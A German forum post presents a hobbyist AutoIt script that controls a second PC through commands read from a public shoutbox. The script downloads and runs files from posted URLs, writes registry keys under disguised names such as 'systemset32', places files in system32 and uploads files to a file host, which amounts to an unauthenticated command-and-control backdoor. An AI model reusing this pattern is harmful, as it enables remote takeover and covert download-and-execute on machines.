hallo
ich will euch hier mal meine zukünftige zweitcomputersteuerung vorstellen =)
was soll das script machen?
es soll meinen zweiten computer den ich als art server einsetzten will über diese shoutbox hier steuern:
http://178941.shoutbox.de/ ( seite ist seit vorher iwie down //edit es geht wieder)
vorgesehen sind ein iterpretierer (gibt es das wort ?()
und eine "serversteuerung" .
hier mal mein steuerungscript (nicht über die registry- und ordner wundern... das war ursprünglcih mal gedacht um mein bruder zu ärgern...)
Spoiler anzeigen
Opt("RunErrorsFatal",0)
#include<ie.au3>
while ping("http://178941.shoutbox.de/") = 0
sleep(10)
WEnd
_messagesend("info","server online")
_main()
func _main()
while 1
If Ping ("http://178941.shoutbox.de/") <> 0 Then
$error=0
$oIE = _IECreate("http://178941.shoutbox.de/")
$htmlIE = _IEDocReadHTML($oIE)
IniWrite(@ScriptDir&"\shbox.ini","html","1",$htmlIE)
$userIE = StringRegExp ($htmlIE,'(?i).*"><b>(.*)</b>:',1)
$messageIE = StringRegExp($htmlIE,"(?i).*\: (.*)[\s.]*<script>.*",1)
if $messageIE = 1 Then
$atserverIE = StringRegExp($messageIE[0],".*\((.*)\).*",1)
$commandIE = StringSplit($messageIE[0],"(")
EndIf
If $atserverIE = 1 Then
$atservervalueIE = StringSplit($atserverIE[0],",")
$secondservervalueIE = StringSplit($atserverIE[0],",")
EndIf
if $commandIE[0] < 0 Then
$commandIE = $commandIE[1]
EndIf
if $userIE = 1 Then
$userIE = $userIE[0]
EndIf
if $atserverIE = 1 Then
$atserverIE = $atserverIE[0]
EndIf
if $atservervalueIE[0] < 0 Then
$atservervalueIE = $atservervalueIE[1]
EndIf
if $secondservervalueIE[0] = 2 Then
$secondservervalueIE = $secondservervalueIE[2]
EndIf
MsgBox(0,"",$userIE&@CRLF&$commandIE&@CR&$atservervalueIE&@CR&$secondservervalueIE)
Select
Case $userIE = "system"
Select
Case $commandIE = "newscript"
$error = InetGet($atservervalueIE,$secondservervalueIE,1,0)
If $error = 1 Then
_messagesend("info","download fehlgeschlagen")
Else
_messagesend("server","download war erfolgreich")
EndIf
Case $commandIE = "newversion"
$error = InetGet($atservervalueIE,@HomeDrive&"\windows\system32\systemconfig\"&$secondservervalueIE,1,0)
If $error = 1 Then
_messagesend("info","download fehlgeschlagen")
Else
_messagesend("server","download war erfolgreich")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\serverc","ScriptFullPath","reg_sz",@ScriptFullPath)
run ($atservervalueIE)
Exit
EndIf
Case $commandIE = "run"
run($atservervalueIE)
if @error = 1 Then
_messagesend("info","pfad existiert nicht")
Else
_messagesend("server","script wird ausgeführt (warte auf Regystrieintrag)")
EndIf
Case $commandIE = "reg"
$error = RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\serverscript",$atservervalueIE,"reg_sz",$secondservervalueIE)
If $error = 1 Then
_messagesend("server","registryeintrag war erfolgreich")
Else
_messagesend("info","registryeintrag war nicht erfolgreich")
EndIf
case $commandIE = "wake up"
$sleep = 1
_messagesend("server","server bereit")
Case $commandIE = "standby"
$sleep = 60000
_messagesend("server","server auf standby")
Case $commandIE = "newsynonym"
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\synonym",$atservervalueIE,"reg_sz",$secondservervalueIE)
$synlist = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list")
$error = RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list","REG_MULTI_SZ",$synlist&@lf&$secondservervalueIE)
if $error = 1 Then
_messagesend("server","registryeintrag war erfolgreich")
Else
_messagesend("info","registryeintrag war nicht erfolgreich")
EndIf
Case $commandIE = "showsynonym"
$ini = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list")
IniWrite(@HomeDrive&"\windows\system32\systemconfig\commandlist.ini","commands","",$ini)
_upload(@HomeDrive&"\windows\system32\systemconfig\commandlist.ini")
Case Else
$synlist = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\list","list")
$synonyms = StringRegExp($synlist,$commandIE)
if $synonyms = 1 Then
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\systemset32\interpreter","command","reg_sz",$commandIE)
_messagesend("server","befehl wird übertragen")
Else
_messagesend("info","befehl konnte nicht gefunden werden")
EndIf
EndSelect
EndSelect
Sleep($sleep)
endif
WEnd
EndFunc
Func _messagesend($c_szName,$c_szMsg)
$oIE = _IECreate("http://178941.shoutbox.de/",0,0)
$oForm = _IEFormGetCollection ($oIE,0)
$oName = _IEFormElementGetCollection($oForm,4)
$oMsg = _IEFormElementGetCollection($oForm,5)
$oSubmit = _IEFormElementGetObjByName($oForm,"ok")
_IEFormElementSetValue($oName,$c_szName)
_IEFormElementSetValue($oMsg,$c_szMsg)
_IEAction($oSubmit,"click")
_IEQuit($oIE)
EndFunc
Func _upload($upload)
$oIE=_IECreate("http://fileupload2.fi.funpic.de/haupt.html")
$html=_IEDocReadHTML($oIE)
_IEQuit($oIE)
$link = StringRegExp($html,'(?i).*<a href="(.*)">Mirror.*',1)
$link=$link[0]
$oIE = _IECreate($link)
$oForm = _IEFormGetCollection($oIE,0)
$oInputFile = _IEFormElementGetObjByName($oForm, "userfile")
_IEAction($oInputFile, "focus")
$hwnd = _IEPropertyGet($oIE, "hwnd")
ControlSend($hwnd, "", "Internet Explorer_Server1", $upload)
$oSubmit = _IEGetObjByName ($oIE, "action")
_IEAction($oSubmit, "click")
_IELoadWait($oIE)
$html=_IEDocReadHTML($oIE)
_IEQuit($oIE)
$link=StringRegExp($html,'(?i).*>(.*)</a><br><br><br>.*',1)
$link=$link[0]
_messagesend("upload",$link)
EndFunc
der interpretierer ist nichts besonnderes er wertet einfach nur in einr endloschleife die registryeinträge aus die ihm zugewiesen werden...
also zum beispiel
if $registrycommand = blockinput then
blockinput ($registryvalue)
endif
was macht nun das script genau?
es wertet den beitrag in der shoutbox aus und entscheidet dann was es machen soll:
newscript(url,pfad)
downloadet eine datei in den pfad der angegeben ist.
diese scripte sind mehr oder weiniger themporär und haben deswegen keinen festen registrywert.
um die scripte anzusprechen gibt es die befehle run und reg
run (pfad bzw name)
startet -wer hät's gedacht- ein "temporäres script" oder sonst was
reg (key, value)
schreibt werte als steuerung der "temporären scripte" in die registry.
paaralell dazu gibt es die familie synonym mit newsynonym und showsynonym. sie sind für die steuerung des interpretierers (wenn ich dieses wort noch einmal schreiben muss dann kotz ich^^) gedacht
newsynonym(key,value)
z.b. newsynonym(blockinput,zustände) dies versteht der interpretierer(*kotz*) leider erst wenn er upgedated wurde was aber kein all zu großes problem darstellt.
showsynonym(keine werte)
schreibt mir alle synonyme in eine ini und loadet sie mir hoch.
dann noch newversion
läd die datei herunter schreibt ihren eigenen pfad in die registry sodas die neu verion die alte "serversoftware" komfortabel löschen kann.
und zum schluss wake up und standby
wake up
weckt die software auf
standby
legt sie wieder schlafen.
sodele das wars =)
speziale tänks:
bernd: hat mich durch die ganze regexpgeschichte geschleift
snoozer und gta: haben mir eigedlich die ganzen ie.au3 geschichten über icq vorgekaut.
so jetzt seit ihr dran mich zu kritisieren
mfg
derda